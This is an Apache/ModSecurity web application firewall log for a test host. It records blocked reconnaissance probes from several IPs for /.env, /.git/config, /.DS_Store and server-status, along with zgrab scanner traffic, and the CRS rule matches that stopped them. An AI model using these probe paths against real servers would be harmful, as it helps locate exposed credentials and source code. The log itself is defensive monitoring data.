[Fri Aug 25 21:09:02.548728 2023] [:error] [pid 1482262] [client 198.98.48.20:19510] [client 198.98.48.20] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8TpIciOFN9pUfJPCcigAAAAU&quot;]
[Fri Aug 25 21:09:02.548935 2023] [:error] [pid 1482262] [client 198.98.48.20:19510] [client 198.98.48.20] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8TpIciOFN9pUfJPCcigAAAAU&quot;]
[Fri Aug 25 21:09:04.622061 2023] [:error] [pid 1486261] [client 109.70.100.67:40216] [client 109.70.100.67] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8UNF2pp5DZL3VMv5JEAAAAAo&quot;]
[Fri Aug 25 21:09:04.622277 2023] [:error] [pid 1486261] [client 109.70.100.67:40216] [client 109.70.100.67] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8UNF2pp5DZL3VMv5JEAAAAAo&quot;]
[Fri Aug 25 21:09:04.622514 2023] [:error] [pid 1486261] [client 109.70.100.67:40216] [client 109.70.100.67] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8UNF2pp5DZL3VMv5JEAAAAAo&quot;]
[Fri Aug 25 21:09:07.094691 2023] [:error] [pid 1486764] [client 192.42.116.182:13520] [client 192.42.116.182] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8Uw0JLuVgTUEpOeM-WAAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Fri Aug 25 21:09:07.094937 2023] [:error] [pid 1486764] [client 192.42.116.182:13520] [client 192.42.116.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8Uw0JLuVgTUEpOeM-WAAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Fri Aug 25 21:09:07.095125 2023] [:error] [pid 1486764] [client 192.42.116.182:13520] [client 192.42.116.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8Uw0JLuVgTUEpOeM-WAAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Sep 05 23:20:05.273268 2023] [authz_core:error] [pid 1683920] [client 159.203.182.222:37614] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Tue Sep 05 23:20:06.267441 2023] [:error] [pid 1683889] [client 159.203.182.222:37726] [client 159.203.182.222] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZPebhoIRYN9cvd76Cns0cAAAAAw&quot;]
[Tue Sep 05 23:20:06.267681 2023] [:error] [pid 1683889] [client 159.203.182.222:37726] [client 159.203.182.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZPebhoIRYN9cvd76Cns0cAAAAAw&quot;]
[Tue Sep 05 23:20:06.267857 2023] [:error] [pid 1683889] [client 159.203.182.222:37726] [client 159.203.182.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZPebhoIRYN9cvd76Cns0cAAAAAw&quot;]
[Tue Sep 05 23:20:06.591762 2023] [:error] [pid 1683914] [client 159.203.182.222:37766] [client 159.203.182.222] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZPebhslbd9KWWL-2hTQm6AAAAAA&quot;]
[Tue Sep 05 23:20:06.591973 2023] [:error] [pid 1683914] [client 159.203.182.222:37766] [client 159.203.182.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZPebhslbd9KWWL-2hTQm6AAAAAA&quot;]
[Tue Sep 05 23:20:06.592154 2023] [:error] [pid 1683914] [client 159.203.182.222:37766] [client 159.203.182.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZPebhslbd9KWWL-2hTQm6AAAAAA&quot;]
[Tue Sep 05 23:20:07.141388 2023] [:error] [pid 1683923] [client 159.203.182.222:37842] [client 159.203.182.222] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebhxCn8c3ZPtq-p-6NPQAAAAY&quot;]
[Tue Sep 05 23:20:07.141659 2023] [:error] [pid 1683923] [client 159.203.182.222:37842] [client 159.203.182.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebhxCn8c3ZPtq-p-6NPQAAAAY&quot;]
[Tue Sep 05 23:20:07.141847 2023] [:error] [pid 1683923] [client 159.203.182.222:37842] [client 159.203.182.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebhxCn8c3ZPtq-p-6NPQAAAAY&quot;]
[Tue Sep 05 23:20:10.257972 2023] [:error] [pid 1683886] [client 91.213.50.8:59258] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebimsYrPEgIt9dXKmbUQAAAAc&quot;]
[Tue Sep 05 23:20:10.258353 2023] [:error] [pid 1683886] [client 91.213.50.8:59258] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebimsYrPEgIt9dXKmbUQAAAAc&quot;]
[Tue Sep 05 23:20:10.258574 2023] [:error] [pid 1683886] [client 91.213.50.8:59258] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZPebimsYrPEgIt9dXKmbUQAAAAc&quot;]
[Tue Sep 05 23:20:17.342426 2023] [:error] [pid 1683887] [client 171.67.70.229:51494] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPebkTcFtu3rZuv5iF_-oAAAAAg&quot;]
[Tue Sep 05 23:20:17.346901 2023] [:error] [pid 1683887] [client 171.67.70.229:51494] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPebkTcFtu3rZuv5iF_-oAAAAAg&quot;]
[Tue Sep 05 23:20:17.347123 2023] [:error] [pid 1683887] [client 171.67.70.229:51494] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPebkTcFtu3rZuv5iF_-oAAAAAg&quot;]
[Tue Sep 05 23:20:20.257541 2023] [:error] [pid 1683886] [client 171.67.70.229:35786] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPeblGsYrPEgIt9dXKmbUgAAAAc&quot;]
[Tue Sep 05 23:20:20.257932 2023] [:error] [pid 1683886] [client 171.67.70.229:35786] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPeblGsYrPEgIt9dXKmbUgAAAAc&quot;]
[Tue Sep 05 23:20:20.258122 2023] [:error] [pid 1683886] [client 171.67.70.229:35786] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPeblGsYrPEgIt9dXKmbUgAAAAc&quot;]
[Wed Sep 06 02:41:38.953886 2023] [:error] [pid 1684303] [client 171.67.70.229:50152] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfKwmW8QQh_r7WlGsfEjwAAAAs&quot;]
[Wed Sep 06 02:41:38.954275 2023] [:error] [pid 1684303] [client 171.67.70.229:50152] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfKwmW8QQh_r7WlGsfEjwAAAAs&quot;]
[Wed Sep 06 02:41:38.954443 2023] [:error] [pid 1684303] [client 171.67.70.229:50152] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfKwmW8QQh_r7WlGsfEjwAAAAs&quot;]
[Wed Sep 06 02:42:32.837109 2023] [:error] [pid 1684290] [client 171.67.70.229:34488] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfK-MGrv5pMN3IfHwuNSQAAAAg&quot;]
[Wed Sep 06 02:42:32.837490 2023] [:error] [pid 1684290] [client 171.67.70.229:34488] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfK-MGrv5pMN3IfHwuNSQAAAAg&quot;]
[Wed Sep 06 02:42:32.837683 2023] [:error] [pid 1684290] [client 171.67.70.229:34488] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfK-MGrv5pMN3IfHwuNSQAAAAg&quot;]
[Wed Sep 06 03:20:17.075382 2023] [:error] [pid 1685945] [client 171.67.70.233:56236] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0bTPS6-ceyBGo_5kkQAAAAM&quot;]
